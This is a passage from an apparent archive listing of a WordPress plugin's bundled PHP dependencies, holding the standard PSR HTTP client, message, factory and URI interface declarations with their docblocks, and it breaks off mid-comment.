$messageFactory = static::findOneByType(UploadedFileFactoryInterface::class);
} catch (DiscoveryFailedException $e) {
throw self::createException('uploaded file factory', $e);
}
return static::instantiateClass($messageFactory);
}
/**
* @return UriFactoryInterface
*
* @throws RealNotFoundException
*/
public static function findUriFactory()
{
try {
$messageFactory = static::findOneByType(UriFactoryInterface::class);
} catch (DiscoveryFailedException $e) {
throw self::createException('url factory', $e);
}
return static::instantiateClass($messageFactory);
}
/**
* @return UriFactoryInterface
*
* @throws RealNotFoundException
*
* @deprecated This will be removed in 2.0. Consider using the findUriFactory() method.
*/
public static function findUrlFactory()
{
return static::findUriFactory();
}
}
third-party/Psr/Http/Client/ClientInterface.php 0000644 00000001120 15220530455 0015457 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Client;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
interface ClientInterface
{
/**
* Sends a PSR-7 request and returns a PSR-7 response.
*
* @param RequestInterface $request
*
* @return ResponseInterface
*
* @throws \Psr\Http\Client\ClientExceptionInterface If an error happens while processing the request.
*/
public function sendRequest(RequestInterface $request): ResponseInterface;
}
third-party/Psr/Http/Client/NetworkExceptionInterface.php 0000644 00000001317 15220530455 0017561 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Client;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
/**
* Thrown when the request cannot be completed because of network issues.
*
* There is no response object as this exception is thrown when no response has been received.
*
* Example: the target host name can not be resolved or the connection failed.
*/
interface NetworkExceptionInterface extends ClientExceptionInterface
{
/**
* Returns the request.
*
* The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
*
* @return RequestInterface
*/
public function getRequest(): RequestInterface;
}
third-party/Psr/Http/Client/ClientExceptionInterface.php 0000644 00000000312 15220530455 0017340 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Client;
/**
* Every HTTP client related exception MUST implement this interface.
*/
interface ClientExceptionInterface extends \Throwable
{
}
third-party/Psr/Http/Client/RequestExceptionInterface.php 0000644 00000001207 15220530455 0017556 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Client;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
/**
* Exception for when a request failed.
*
* Examples:
* - Request is invalid (e.g. method is missing)
* - Runtime request errors (e.g. the body stream is not seekable)
*/
interface RequestExceptionInterface extends ClientExceptionInterface
{
/**
* Returns the request.
*
* The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
*
* @return RequestInterface
*/
public function getRequest(): RequestInterface;
}
third-party/Psr/Http/Message/StreamInterface.php 0000644 00000011416 15220530455 0015653 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* Describes a data stream.
*
* Typically, an instance will wrap a PHP stream; this interface provides
* a wrapper around the most common operations, including serialization of
* the entire stream to a string.
*/
interface StreamInterface
{
/**
* Reads all data from the stream into a string, from the beginning to end.
*
* This method MUST attempt to seek to the beginning of the stream before
* reading data and read the stream until the end is reached.
*
* Warning: This could attempt to load a large amount of data into memory.
*
* This method MUST NOT raise an exception in order to conform with PHP's
* string casting operations.
*
* @see http://php.net/manual/en/language.oop5.magic.php#object.tostring
* @return string
*/
public function __toString(): string;
/**
* Closes the stream and any underlying resources.
*
* @return void
*/
public function close(): void;
/**
* Separates any underlying resources from the stream.
*
* After the stream has been detached, the stream is in an unusable state.
*
* @return resource|null Underlying PHP stream, if any
*/
public function detach();
/**
* Get the size of the stream if known.
*
* @return int|null Returns the size in bytes if known, or null if unknown.
*/
public function getSize(): ?int;
/**
* Returns the current position of the file read/write pointer
*
* @return int Position of the file pointer
* @throws \RuntimeException on error.
*/
public function tell(): int;
/**
* Returns true if the stream is at the end of the stream.
*
* @return bool
*/
public function eof(): bool;
/**
* Returns whether or not the stream is seekable.
*
* @return bool
*/
public function isSeekable(): bool;
/**
* Seek to a position in the stream.
*
* @link http://www.php.net/manual/en/function.fseek.php
* @param int $offset Stream offset
* @param int $whence Specifies how the cursor position will be calculated
* based on the seek offset. Valid values are identical to the built-in
* PHP $whence values for `fseek()`. SEEK_SET: Set position equal to
* offset bytes SEEK_CUR: Set position to current location plus offset
* SEEK_END: Set position to end-of-stream plus offset.
* @throws \RuntimeException on failure.
*/
public function seek(int $offset, int $whence = \SEEK_SET): void;
/**
* Seek to the beginning of the stream.
*
* If the stream is not seekable, this method will raise an exception;
* otherwise, it will perform a seek(0).
*
* @see seek()
* @link http://www.php.net/manual/en/function.fseek.php
* @throws \RuntimeException on failure.
*/
public function rewind(): void;
/**
* Returns whether or not the stream is writable.
*
* @return bool
*/
public function isWritable(): bool;
/**
* Write data to the stream.
*
* @param string $string The string that is to be written.
* @return int Returns the number of bytes written to the stream.
* @throws \RuntimeException on failure.
*/
public function write(string $string): int;
/**
* Returns whether or not the stream is readable.
*
* @return bool
*/
public function isReadable(): bool;
/**
* Read data from the stream.
*
* @param int $length Read up to $length bytes from the object and return
* them. Fewer than $length bytes may be returned if underlying stream
* call returns fewer bytes.
* @return string Returns the data read from the stream, or an empty string
* if no bytes are available.
* @throws \RuntimeException if an error occurs.
*/
public function read(int $length): string;
/**
* Returns the remaining contents in a string
*
* @return string
* @throws \RuntimeException if unable to read or an error occurs while
* reading.
*/
public function getContents(): string;
/**
* Get stream metadata as an associative array or retrieve a specific key.
*
* The keys returned are identical to the keys returned from PHP's
* stream_get_meta_data() function.
*
* @link http://php.net/manual/en/function.stream-get-meta-data.php
* @param string|null $key Specific metadata to retrieve.
* @return array|mixed|null Returns an associative array if no key is
* provided. Returns a specific key value if a key is provided and the
* value is found, or null if the key is not found.
*/
public function getMetadata(?string $key = null);
}
third-party/Psr/Http/Message/UploadedFileInterface.php 0000644 00000011226 15220530455 0016754 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* Value object representing a file uploaded through an HTTP request.
*
* Instances of this interface are considered immutable; all methods that
* might change state MUST be implemented such that they retain the internal
* state of the current instance and return an instance that contains the
* changed state.
*/
interface UploadedFileInterface
{
/**
* Retrieve a stream representing the uploaded file.
*
* This method MUST return a StreamInterface instance, representing the
* uploaded file. The purpose of this method is to allow utilizing native PHP
* stream functionality to manipulate the file upload, such as
* stream_copy_to_stream() (though the result will need to be decorated in a
* native PHP stream wrapper to work with such functions).
*
* If the moveTo() method has been called previously, this method MUST raise
* an exception.
*
* @return StreamInterface Stream representation of the uploaded file.
* @throws \RuntimeException in cases when no stream is available or can be
* created.
*/
public function getStream(): StreamInterface;
/**
* Move the uploaded file to a new location.
*
* Use this method as an alternative to move_uploaded_file(). This method is
* guaranteed to work in both SAPI and non-SAPI environments.
* Implementations must determine which environment they are in, and use the
* appropriate method (move_uploaded_file(), rename(), or a stream
* operation) to perform the operation.
*
* $targetPath may be an absolute path, or a relative path. If it is a
* relative path, resolution should be the same as used by PHP's rename()
* function.
*
* The original file or stream MUST be removed on completion.
*
* If this method is called more than once, any subsequent calls MUST raise
* an exception.
*
* When used in an SAPI environment where $_FILES is populated, when writing
* files via moveTo(), is_uploaded_file() and move_uploaded_file() SHOULD be
* used to ensure permissions and upload status are verified correctly.
*
* If you wish to move to a stream, use getStream(), as SAPI operations
* cannot guarantee writing to stream destinations.
*
* @see http://php.net/is_uploaded_file
* @see http://php.net/move_uploaded_file
* @param string $targetPath Path to which to move the uploaded file.
* @throws \InvalidArgumentException if the $targetPath specified is invalid.
* @throws \RuntimeException on any error during the move operation, or on
* the second or subsequent call to the method.
*/
public function moveTo(string $targetPath): void;
/**
* Retrieve the file size.
*
* Implementations SHOULD return the value stored in the "size" key of
* the file in the $_FILES array if available, as PHP calculates this based
* on the actual size transmitted.
*
* @return int|null The file size in bytes or null if unknown.
*/
public function getSize(): ?int;
/**
* Retrieve the error associated with the uploaded file.
*
* The return value MUST be one of PHP's UPLOAD_ERR_XXX constants.
*
* If the file was uploaded successfully, this method MUST return
* UPLOAD_ERR_OK.
*
* Implementations SHOULD return the value stored in the "error" key of
* the file in the $_FILES array.
*
* @see http://php.net/manual/en/features.file-upload.errors.php
* @return int One of PHP's UPLOAD_ERR_XXX constants.
*/
public function getError(): int;
/**
* Retrieve the filename sent by the client.
*
* Do not trust the value returned by this method. A client could send
* a malicious filename with the intention to corrupt or hack your
* application.
*
* Implementations SHOULD return the value stored in the "name" key of
* the file in the $_FILES array.
*
* @return string|null The filename sent by the client or null if none
* was provided.
*/
public function getClientFilename(): ?string;
/**
* Retrieve the media type sent by the client.
*
* Do not trust the value returned by this method. A client could send
* a malicious media type with the intention to corrupt or hack your
* application.
*
* Implementations SHOULD return the value stored in the "type" key of
* the file in the $_FILES array.
*
* @return string|null The media type sent by the client or null if none
* was provided.
*/
public function getClientMediaType(): ?string;
}
third-party/Psr/Http/Message/ResponseInterface.php 0000644 00000005147 15220530455 0016222 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* Representation of an outgoing, server-side response.
*
* Per the HTTP specification, this interface includes properties for
* each of the following:
*
* - Protocol version
* - Status code and reason phrase
* - Headers
* - Message body
*
* Responses are considered immutable; all methods that might change state MUST
* be implemented such that they retain the internal state of the current
* message and return an instance that contains the changed state.
*/
interface ResponseInterface extends MessageInterface
{
/**
* Gets the response status code.
*
* The status code is a 3-digit integer result code of the server's attempt
* to understand and satisfy the request.
*
* @return int Status code.
*/
public function getStatusCode(): int;
/**
* Return an instance with the specified status code and, optionally, reason phrase.
*
* If no reason phrase is specified, implementations MAY choose to default
* to the RFC 7231 or IANA recommended reason phrase for the response's
* status code.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* updated status and reason phrase.
*
* @link http://tools.ietf.org/html/rfc7231#section-6
* @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
* @param int $code The 3-digit integer result code to set.
* @param string $reasonPhrase The reason phrase to use with the
* provided status code; if none is provided, implementations MAY
* use the defaults as suggested in the HTTP specification.
* @return static
* @throws \InvalidArgumentException For invalid status code arguments.
*/
public function withStatus(int $code, string $reasonPhrase = ''): ResponseInterface;
/**
* Gets the response reason phrase associated with the status code.
*
* Because a reason phrase is not a required element in a response
* status line, the reason phrase value MAY be null. Implementations MAY
* choose to return the default RFC 7231 recommended reason phrase (or those
* listed in the IANA HTTP Status Code Registry) for the response's
* status code.
*
* @link http://tools.ietf.org/html/rfc7231#section-6
* @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
* @return string Reason phrase; must return an empty string if none present.
*/
public function getReasonPhrase(): string;
}
third-party/Psr/Http/Message/MessageInterface.php 0000644 00000015723 15220530455 0016011 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* HTTP messages consist of requests from a client to a server and responses
* from a server to a client. This interface defines the methods common to
* each.
*
* Messages are considered immutable; all methods that might change state MUST
* be implemented such that they retain the internal state of the current
* message and return an instance that contains the changed state.
*
* @link http://www.ietf.org/rfc/rfc7230.txt
* @link http://www.ietf.org/rfc/rfc7231.txt
*/
interface MessageInterface
{
/**
* Retrieves the HTTP protocol version as a string.
*
* The string MUST contain only the HTTP version number (e.g., "1.1", "1.0").
*
* @return string HTTP protocol version.
*/
public function getProtocolVersion(): string;
/**
* Return an instance with the specified HTTP protocol version.
*
* The version string MUST contain only the HTTP version number (e.g.,
* "1.1", "1.0").
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* new protocol version.
*
* @param string $version HTTP protocol version
* @return static
*/
public function withProtocolVersion(string $version): MessageInterface;
/**
* Retrieves all message header values.
*
* The keys represent the header name as it will be sent over the wire, and
* each value is an array of strings associated with the header.
*
* // Represent the headers as a string
* foreach ($message->getHeaders() as $name => $values) {
* echo $name . ": " . implode(", ", $values);
* }
*
* // Emit headers iteratively:
* foreach ($message->getHeaders() as $name => $values) {
* foreach ($values as $value) {
* header(sprintf('%s: %s', $name, $value), false);
* }
* }
*
* While header names are not case-sensitive, getHeaders() will preserve the
* exact case in which headers were originally specified.
*
* @return string[][] Returns an associative array of the message's headers. Each
* key MUST be a header name, and each value MUST be an array of strings
* for that header.
*/
public function getHeaders(): array;
/**
* Checks if a header exists by the given case-insensitive name.
*
* @param string $name Case-insensitive header field name.
* @return bool Returns true if any header names match the given header
* name using a case-insensitive string comparison. Returns false if
* no matching header name is found in the message.
*/
public function hasHeader(string $name): bool;
/**
* Retrieves a message header value by the given case-insensitive name.
*
* This method returns an array of all the header values of the given
* case-insensitive header name.
*
* If the header does not appear in the message, this method MUST return an
* empty array.
*
* @param string $name Case-insensitive header field name.
* @return string[] An array of string values as provided for the given
* header. If the header does not appear in the message, this method MUST
* return an empty array.
*/
public function getHeader(string $name): array;
/**
* Retrieves a comma-separated string of the values for a single header.
*
* This method returns all of the header values of the given
* case-insensitive header name as a string concatenated together using
* a comma.
*
* NOTE: Not all header values may be appropriately represented using
* comma concatenation. For such headers, use getHeader() instead
* and supply your own delimiter when concatenating.
*
* If the header does not appear in the message, this method MUST return
* an empty string.
*
* @param string $name Case-insensitive header field name.
* @return string A string of values as provided for the given header
* concatenated together using a comma. If the header does not appear in
* the message, this method MUST return an empty string.
*/
public function getHeaderLine(string $name): string;
/**
* Return an instance with the provided value replacing the specified header.
*
* While header names are case-insensitive, the casing of the header will
* be preserved by this function, and returned from getHeaders().
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* new and/or updated header and value.
*
* @param string $name Case-insensitive header field name.
* @param string|string[] $value Header value(s).
* @return static
* @throws \InvalidArgumentException for invalid header names or values.
*/
public function withHeader(string $name, $value): MessageInterface;
/**
* Return an instance with the specified header appended with the given value.
*
* Existing values for the specified header will be maintained. The new
* value(s) will be appended to the existing list. If the header did not
* exist previously, it will be added.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* new header and/or value.
*
* @param string $name Case-insensitive header field name to add.
* @param string|string[] $value Header value(s).
* @return static
* @throws \InvalidArgumentException for invalid header names or values.
*/
public function withAddedHeader(string $name, $value): MessageInterface;
/**
* Return an instance without the specified header.
*
* Header resolution MUST be done without case-sensitivity.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that removes
* the named header.
*
* @param string $name Case-insensitive header field name to remove.
* @return static
*/
public function withoutHeader(string $name): MessageInterface;
/**
* Gets the body of the message.
*
* @return StreamInterface Returns the body as a stream.
*/
public function getBody(): StreamInterface;
/**
* Return an instance with the specified message body.
*
* The body MUST be a StreamInterface object.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return a new instance that has the
* new body stream.
*
* @param StreamInterface $body Body.
* @return static
* @throws \InvalidArgumentException When the body is not valid.
*/
public function withBody(StreamInterface $body): MessageInterface;
}
third-party/Psr/Http/Message/RequestInterface.php 0000644 00000011521 15220530455 0016045 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* Representation of an outgoing, client-side request.
*
* Per the HTTP specification, this interface includes properties for
* each of the following:
*
* - Protocol version
* - HTTP method
* - URI
* - Headers
* - Message body
*
* During construction, implementations MUST attempt to set the Host header from
* a provided URI if no Host header is provided.
*
* Requests are considered immutable; all methods that might change state MUST
* be implemented such that they retain the internal state of the current
* message and return an instance that contains the changed state.
*/
interface RequestInterface extends MessageInterface
{
/**
* Retrieves the message's request target.
*
* Retrieves the message's request-target either as it will appear (for
* clients), as it appeared at request (for servers), or as it was
* specified for the instance (see withRequestTarget()).
*
* In most cases, this will be the origin-form of the composed URI,
* unless a value was provided to the concrete implementation (see
* withRequestTarget() below).
*
* If no URI is available, and no request-target has been specifically
* provided, this method MUST return the string "/".
*
* @return string
*/
public function getRequestTarget(): string;
/**
* Return an instance with the specific request-target.
*
* If the request needs a non-origin-form request-target — e.g., for
* specifying an absolute-form, authority-form, or asterisk-form —
* this method may be used to create an instance with the specified
* request-target, verbatim.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* changed request target.
*
* @link http://tools.ietf.org/html/rfc7230#section-5.3 (for the various
* request-target forms allowed in request messages)
* @param string $requestTarget
* @return static
*/
public function withRequestTarget(string $requestTarget): RequestInterface;
/**
* Retrieves the HTTP method of the request.
*
* @return string Returns the request method.
*/
public function getMethod(): string;
/**
* Return an instance with the provided HTTP method.
*
* While HTTP method names are typically all uppercase characters, HTTP
* method names are case-sensitive and thus implementations SHOULD NOT
* modify the given string.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* changed request method.
*
* @param string $method Case-sensitive method.
* @return static
* @throws \InvalidArgumentException for invalid HTTP methods.
*/
public function withMethod(string $method): RequestInterface;
/**
* Retrieves the URI instance.
*
* This method MUST return a UriInterface instance.
*
* @link http://tools.ietf.org/html/rfc3986#section-4.3
* @return UriInterface Returns a UriInterface instance
* representing the URI of the request.
*/
public function getUri(): UriInterface;
/**
* Returns an instance with the provided URI.
*
* This method MUST update the Host header of the returned request by
* default if the URI contains a host component. If the URI does not
* contain a host component, any pre-existing Host header MUST be carried
* over to the returned request.
*
* You can opt-in to preserving the original state of the Host header by
* setting `$preserveHost` to `true`. When `$preserveHost` is set to
* `true`, this method interacts with the Host header in the following ways:
*
* - If the Host header is missing or empty, and the new URI contains
* a host component, this method MUST update the Host header in the returned
* request.
* - If the Host header is missing or empty, and the new URI does not contain a
* host component, this method MUST NOT update the Host header in the returned
* request.
* - If a Host header is present and non-empty, this method MUST NOT update
* the Host header in the returned request.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* new UriInterface instance.
*
* @link http://tools.ietf.org/html/rfc3986#section-4.3
* @param UriInterface $uri New request URI to use.
* @param bool $preserveHost Preserve the original state of the Host header.
* @return static
*/
public function withUri(UriInterface $uri, bool $preserveHost = \false): RequestInterface;
}
third-party/Psr/Http/Message/ServerRequestFactoryInterface.php 0000644 00000001676 15220530455 0020576 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
interface ServerRequestFactoryInterface
{
/**
* Create a new server request.
*
* Note that server-params are taken precisely as given - no parsing/processing
* of the given values is performed, and, in particular, no attempt is made to
* determine the HTTP method or URI, which must be provided explicitly.
*
* @param string $method The HTTP method associated with the request.
* @param UriInterface|string $uri The URI associated with the request. If
* the value is a string, the factory MUST create a UriInterface
* instance based on it.
* @param array $serverParams Array of SAPI parameters with which to seed
* the generated request instance.
*
* @return ServerRequestInterface
*/
public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface;
}
third-party/Psr/Http/Message/StreamFactoryInterface.php 0000644 00000002647 15220530455 0017211 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
interface StreamFactoryInterface
{
/**
* Create a new stream from a string.
*
* The stream SHOULD be created with a temporary resource.
*
* @param string $content String content with which to populate the stream.
*
* @return StreamInterface
*/
public function createStream(string $content = ''): StreamInterface;
/**
* Create a stream from an existing file.
*
* The file MUST be opened using the given mode, which may be any mode
* supported by the `fopen` function.
*
* The `$filename` MAY be any string supported by `fopen()`.
*
* @param string $filename Filename or stream URI to use as basis of stream.
* @param string $mode Mode with which to open the underlying filename/stream.
*
* @return StreamInterface
* @throws \RuntimeException If the file cannot be opened.
* @throws \InvalidArgumentException If the mode is invalid.
*/
public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface;
/**
* Create a new stream from an existing resource.
*
* The stream MUST be readable and may be writable.
*
* @param resource $resource PHP resource to use as basis of stream.
*
* @return StreamInterface
*/
public function createStreamFromResource($resource): StreamInterface;
}
third-party/Psr/Http/Message/ResponseFactoryInterface.php 0000644 00000001101 15220530455 0017534 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
interface ResponseFactoryInterface
{
/**
* Create a new response.
*
* @param int $code HTTP status code; defaults to 200
* @param string $reasonPhrase Reason phrase to associate with status code
* in generated response; if none is provided implementations MAY use
* the defaults as suggested in the HTTP specification.
*
* @return ResponseInterface
*/
public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface;
}
third-party/Psr/Http/Message/ServerRequestInterface.php 0000644 00000024115 15220530455 0017237 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* Representation of an incoming, server-side HTTP request.
*
* Per the HTTP specification, this interface includes properties for
* each of the following:
*
* - Protocol version
* - HTTP method
* - URI
* - Headers
* - Message body
*
* Additionally, it encapsulates all data as it has arrived to the
* application from the CGI and/or PHP environment, including:
*
* - The values represented in $_SERVER.
* - Any cookies provided (generally via $_COOKIE)
* - Query string arguments (generally via $_GET, or as parsed via parse_str())
* - Upload files, if any (as represented by $_FILES)
* - Deserialized body parameters (generally from $_POST)
*
* $_SERVER values MUST be treated as immutable, as they represent application
* state at the time of request; as such, no methods are provided to allow
* modification of those values. The other values provide such methods, as they
* can be restored from $_SERVER or the request body, and may need treatment
* during the application (e.g., body parameters may be deserialized based on
* content type).
*
* Additionally, this interface recognizes the utility of introspecting a
* request to derive and match additional parameters (e.g., via URI path
* matching, decrypting cookie values, deserializing non-form-encoded body
* content, matching authorization headers to users, etc). These parameters
* are stored in an "attributes" property.
*
* Requests are considered immutable; all methods that might change state MUST
* be implemented such that they retain the internal state of the current
* message and return an instance that contains the changed state.
*/
interface ServerRequestInterface extends RequestInterface
{
/**
* Retrieve server parameters.
*
* Retrieves data related to the incoming request environment,
* typically derived from PHP's $_SERVER superglobal. The data IS NOT
* REQUIRED to originate from $_SERVER.
*
* @return array
*/
public function getServerParams(): array;
/**
* Retrieve cookies.
*
* Retrieves cookies sent by the client to the server.
*
* The data MUST be compatible with the structure of the $_COOKIE
* superglobal.
*
* @return array
*/
public function getCookieParams(): array;
/**
* Return an instance with the specified cookies.
*
* The data IS NOT REQUIRED to come from the $_COOKIE superglobal, but MUST
* be compatible with the structure of $_COOKIE. Typically, this data will
* be injected at instantiation.
*
* This method MUST NOT update the related Cookie header of the request
* instance, nor related values in the server params.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* updated cookie values.
*
* @param array $cookies Array of key/value pairs representing cookies.
* @return static
*/
public function withCookieParams(array $cookies): ServerRequestInterface;
/**
* Retrieve query string arguments.
*
* Retrieves the deserialized query string arguments, if any.
*
* Note: the query params might not be in sync with the URI or server
* params. If you need to ensure you are only getting the original
* values, you may need to parse the query string from `getUri()->getQuery()`
* or from the `QUERY_STRING` server param.
*
* @return array
*/
public function getQueryParams(): array;
/**
* Return an instance with the specified query string arguments.
*
* These values SHOULD remain immutable over the course of the incoming
* request. They MAY be injected during instantiation, such as from PHP's
* $_GET superglobal, or MAY be derived from some other value such as the
* URI. In cases where the arguments are parsed from the URI, the data
* MUST be compatible with what PHP's parse_str() would return for
* purposes of how duplicate query parameters are handled, and how nested
* sets are handled.
*
* Setting query string arguments MUST NOT change the URI stored by the
* request, nor the values in the server params.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* updated query string arguments.
*
* @param array $query Array of query string arguments, typically from
* $_GET.
* @return static
*/
public function withQueryParams(array $query): ServerRequestInterface;
/**
* Retrieve normalized file upload data.
*
* This method returns upload metadata in a normalized tree, with each leaf
* an instance of Psr\Http\Message\UploadedFileInterface.
*
* These values MAY be prepared from $_FILES or the message body during
* instantiation, or MAY be injected via withUploadedFiles().
*
* @return array An array tree of UploadedFileInterface instances; an empty
* array MUST be returned if no data is present.
*/
public function getUploadedFiles(): array;
/**
* Create a new instance with the specified uploaded files.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* updated body parameters.
*
* @param array $uploadedFiles An array tree of UploadedFileInterface instances.
* @return static
* @throws \InvalidArgumentException if an invalid structure is provided.
*/
public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface;
/**
* Retrieve any parameters provided in the request body.
*
* If the request Content-Type is either application/x-www-form-urlencoded
* or multipart/form-data, and the request method is POST, this method MUST
* return the contents of $_POST.
*
* Otherwise, this method may return any results of deserializing
* the request body content; as parsing returns structured content, the
* potential types MUST be arrays or objects only. A null value indicates
* the absence of body content.
*
* @return null|array|object The deserialized body parameters, if any.
* These will typically be an array or object.
*/
public function getParsedBody();
/**
* Return an instance with the specified body parameters.
*
* These MAY be injected during instantiation.
*
* If the request Content-Type is either application/x-www-form-urlencoded
* or multipart/form-data, and the request method is POST, use this method
* ONLY to inject the contents of $_POST.
*
* The data IS NOT REQUIRED to come from $_POST, but MUST be the results of
* deserializing the request body content. Deserialization/parsing returns
* structured data, and, as such, this method ONLY accepts arrays or objects,
* or a null value if nothing was available to parse.
*
* As an example, if content negotiation determines that the request data
* is a JSON payload, this method could be used to create a request
* instance with the deserialized parameters.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* updated body parameters.
*
* @param null|array|object $data The deserialized body data. This will
* typically be in an array or object.
* @return static
* @throws \InvalidArgumentException if an unsupported argument type is
* provided.
*/
public function withParsedBody($data): ServerRequestInterface;
/**
* Retrieve attributes derived from the request.
*
* The request "attributes" may be used to allow injection of any
* parameters derived from the request: e.g., the results of path
* match operations; the results of decrypting cookies; the results of
* deserializing non-form-encoded message bodies; etc. Attributes
* will be application and request specific, and CAN be mutable.
*
* @return array Attributes derived from the request.
*/
public function getAttributes(): array;
/**
* Retrieve a single derived request attribute.
*
* Retrieves a single derived request attribute as described in
* getAttributes(). If the attribute has not been previously set, returns
* the default value as provided.
*
* This method obviates the need for a hasAttribute() method, as it allows
* specifying a default value to return if the attribute is not found.
*
* @see getAttributes()
* @param string $name The attribute name.
* @param mixed $default Default value to return if the attribute does not exist.
* @return mixed
*/
public function getAttribute(string $name, $default = null);
/**
* Return an instance with the specified derived request attribute.
*
* This method allows setting a single derived request attribute as
* described in getAttributes().
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* updated attribute.
*
* @see getAttributes()
* @param string $name The attribute name.
* @param mixed $value The value of the attribute.
* @return static
*/
public function withAttribute(string $name, $value): ServerRequestInterface;
/**
* Return an instance that removes the specified derived request attribute.
*
* This method allows removing a single derived request attribute as
* described in getAttributes().
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that removes
* the attribute.
*
* @see getAttributes()
* @param string $name The attribute name.
* @return static
*/
public function withoutAttribute(string $name): ServerRequestInterface;
}
third-party/Psr/Http/Message/UploadedFileFactoryInterface.php 0000644 00000002131 15220530455 0020277 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
interface UploadedFileFactoryInterface
{
/**
* Create a new uploaded file.
*
* If a size is not provided it will be determined by checking the size of
* the file.
*
* @see http://php.net/manual/features.file-upload.post-method.php
* @see http://php.net/manual/features.file-upload.errors.php
*
* @param StreamInterface $stream Underlying stream representing the
* uploaded file content.
* @param int|null $size in bytes
* @param int $error PHP file upload error
* @param string|null $clientFilename Filename as provided by the client, if any.
* @param string|null $clientMediaType Media type as provided by the client, if any.
*
* @return UploadedFileInterface
*
* @throws \InvalidArgumentException If the file resource is not readable.
*/
public function createUploadedFile(StreamInterface $stream, ?int $size = null, int $error = \UPLOAD_ERR_OK, ?string $clientFilename = null, ?string $clientMediaType = null): UploadedFileInterface;
}
third-party/Psr/Http/Message/RequestFactoryInterface.php 0000644 00000001022 15220530455 0017370 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
interface RequestFactoryInterface
{
/**
* Create a new request.
*
* @param string $method The HTTP method associated with the request.
* @param UriInterface|string $uri The URI associated with the request. If
* the value is a string, the factory MUST create a UriInterface
* instance based on it.
*
* @return RequestInterface
*/
public function createRequest(string $method, $uri): RequestInterface;
}
third-party/Psr/Http/Message/UriInterface.php 0000644 00000031057 15220530455 0015162 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Psr\Http\Message;
/**
* Value object representing a URI.
*
* This interface is meant to represent URIs according to RFC 3986 and to
* provide methods for most common operations. Additional functionality for
* working with URIs can be provided on top of the interface or externally.
* Its primary use is for HTTP requests, but may also be used in other
* contexts.
*
* Instances of this interface are considered immutable; all methods that
* might change state MUST be implemented such that they retain the internal
* state of the current instance and return an instance that contains the
* changed state.
*
* Typically the Host header will be also be present in the request message.
* For server-side requests, the scheme will typically be discoverable in the
* server parameters.
*
* @link http://tools.ietf.org/html/rfc3986 (the URI specification)
*/
interface UriInterface
{
/**
* Retrieve the scheme component of the URI.
*
* If no scheme is present, this method MUST return an empty string.
*
* The value returned MUST be normalized to lowercase, per RFC 3986
* Section 3.1.
*
* The trailing ":" character is not part of the scheme and MUST NOT be
* added.
*
* @see https://tools.ietf.org/html/rfc3986#section-3.1
* @return string The URI scheme.
*/
public function getScheme(): string;
/**
* Retrieve the authority component of the URI.
*
* If no authority information is present, this method MUST return an empty
* string.
*
* The authority syntax of the URI is:
*
* <pre>
* [user-info@]host[:port]
* </pre>
*
* If the port component is not set or is the standard port for the current
* scheme, it SHOULD NOT be included.
*
* @see https://tools.ietf.org/html/rfc3986#section-3.2
* @return string The URI authority, in "[user-info@]host[:port]" format.
*/
public function getAuthority(): string;
/**
* Retrieve the user information component of the URI.
*
* If no user information is present, this method MUST return an empty
* string.
*
* If a user is present in the URI, this will return that value;
* additionally, if the password is also present, it will be appended to the
* user value, with a colon (":") separating the values.
*
* The trailing "@" character is not part of the user information and MUST
* NOT be added.
*
* @return string The URI user information, in "username[:password]" format.
*/
public function getUserInfo(): string;
/**
* Retrieve the host component of the URI.
*
* If no host is present, this method MUST return an empty string.
*
* The value returned MUST be normalized to lowercase, per RFC 3986
* Section 3.2.2.
*
* @see http://tools.ietf.org/html/rfc3986#section-3.2.2
